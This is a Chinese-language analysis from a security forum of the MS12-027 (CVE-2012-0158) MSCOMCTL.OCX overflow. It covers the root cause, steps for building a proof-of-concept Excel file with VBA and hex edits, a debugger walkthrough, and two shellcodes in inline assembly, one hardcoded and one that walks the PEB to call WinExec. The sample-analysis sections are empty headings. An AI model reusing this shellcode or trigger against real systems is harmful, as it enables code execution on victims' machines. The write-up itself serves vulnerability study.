0x00 前言
分析环境:
* OS版本:Windows 7 Service Pack 1 x86
* Office版本:Professional 2007
* MSCOMCTL.OCX版本:6.01.9545
0x01 CVE-2012-0158
0x01.1 漏洞成因
MSCOMCTL.OCX中CObj::Load函数对输入数据进行错误校验,第二次调用ReadBytesFromStreamPadded()时,会造成溢出,进而可以劫持执行流。
0x01.2 漏洞分析
0x01.2.a POC构造
通过Excel解析ListView控件时调用漏洞函数的原理构造POC,详见下文分析。
在Excel中创建ListView控件并添加ListItem子对象使其调用漏洞函数CObj::Load。此处用VBA代码进行添加并将其编译生成对象,为避免保存失败,编译后需删除相应代码并保存文件:
将保存后文件拖入winhex,找到CObj类,修改相应的十六进制令其大于8并保存文件,再次打开Excel弹出报错则表明已成功触发漏洞:
0x01.2.b 漏洞详细分析
Ollydbg附加至Excel并打开构造好的POC,Excel报错将弹出报错,Ollydbg将停在0x65006B处。
此时栈中情况如下图所示。可以猜测在加载MSCOMCTL模块时出现问题,那么在该模块处下断点并重新加载:
最终发现执行至0x275c8a56处发生错误,此时栈情况如下,其返回地址为0x65006B:
0x01.2.c 利用思路及shellcode编写
(1) Shellcode(硬编码)
int main(void){
__asm{
PUSH EBP
MOV EBP, ESP
XOR EAX,EAX
PUSH EAX
PUSH 6578652Eh //".exe"
PUSH 41414141h //"AAAA"
//若此处修改为636c6163,就能弹出计算器
MOV EAX,ESP
PUSH 5
PUSH EAX // "AAAA.exe"
MOV EAX,7783e5fdh //WinExec("AAAA.exe", 5)
CALL EAX
MOV ESP,EBP
POP EBP
}
return 0;
}
(2) Shellcode(动态获取模块基址)
int main(void){
__asm{
//查找kernel32.dll基址
XOR EAX, EAX
MOV EAX, DWORD PTR FS : [0x30]//PEB
MOV EAX, DWORD PTR [EAX + 0xC]//PEB_LDR_DATA
MOV ESI, DWORD PTR [EAX + 0x14]//不同操作系统偏移不同
lodsd
XCHG EAX, ESI
lodsd
MOV EBX, DWORD PTR [EAX + 0x10]//获取kernel32基址
MOV EDX, DWORD PTR [EBX + 0X3C]// e_lfanew
MOV EDX, DWORD PTR [EBX + EDX + 0X78] // ETA
ADD EDX, EBX
MOV ESI, DWORD PTR [EDX+ 0X20]//namestable
ADD ESI, EBX
XOR ECX, ECX
GET_FUNCTION:
INC ECX
lodsd
ADD EAX, EBX// 读取函数名称
CMP DWORD PTR [EAX], 0X50746547
JNZ GET_FUNCTION
CMP DWORD PTR [EAX + 0X4], 0x41636f72
JNZ GET_FUNCTION
CMP DWORD PTR [EAX + 0X8], 0x65726464
JNZ GET_FUNCTION
MOV ESI, [EDX + 0X24]
ADD ESI, EBX
MOV CX, WORD PTR [ESI + ECX * 2]
DEC ECX
MOV ESI, DWORD PTR [EDX + 0X1C]
ADD ESI, EBX
MOV EDX, DWORD PTR [ESI + ECX * 4]
ADD EDX, EBX //GETprocAddress
XOR ECX, ECX
push 0X00636578 //xec
PUSH 0X456E6957 //WinE
PUSH ESP
PUSH EBX
CALL EDX
XOR ECX,ECX
PUSH ECX
PUSH 0X6578652E //".exe"
PUSH 0X41414141 //"AAAA"
//若此处修改为636c6163,就能弹出计算器
MOV EBX,ESP
PUSH 5
PUSH EBX
CALL EAX
}
return 0;
}
Dim L1 As ListItem
Dim key1 As String
Dim i As Integer
i = 0
key1 = "key1"
While (i < 20)
key1 = key1 + key1
i = i + 1
Wend
'MsgBox (key1)
Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)
Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)
Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)
0x01.3 利用样本分析
0x01.3.a 基本信息
0x01.3.b 详细分析
0x02 无CVE编号
0x02.1 漏洞成因
0x02.2 利用样本分析
0x02.2.a 基本信息
0x02.2.b 详细分析
0x02.3 另一样本
0x03 参考链接
看雪ID:免孑
https://bbs.pediy.com/user-home-914073.htm
*本文由看雪论坛 免孑 原创,转载请注明来自看雪社区。
《安卓高级研修班》2021年6月班火热招生中!
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):MS12-027及利用样本分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论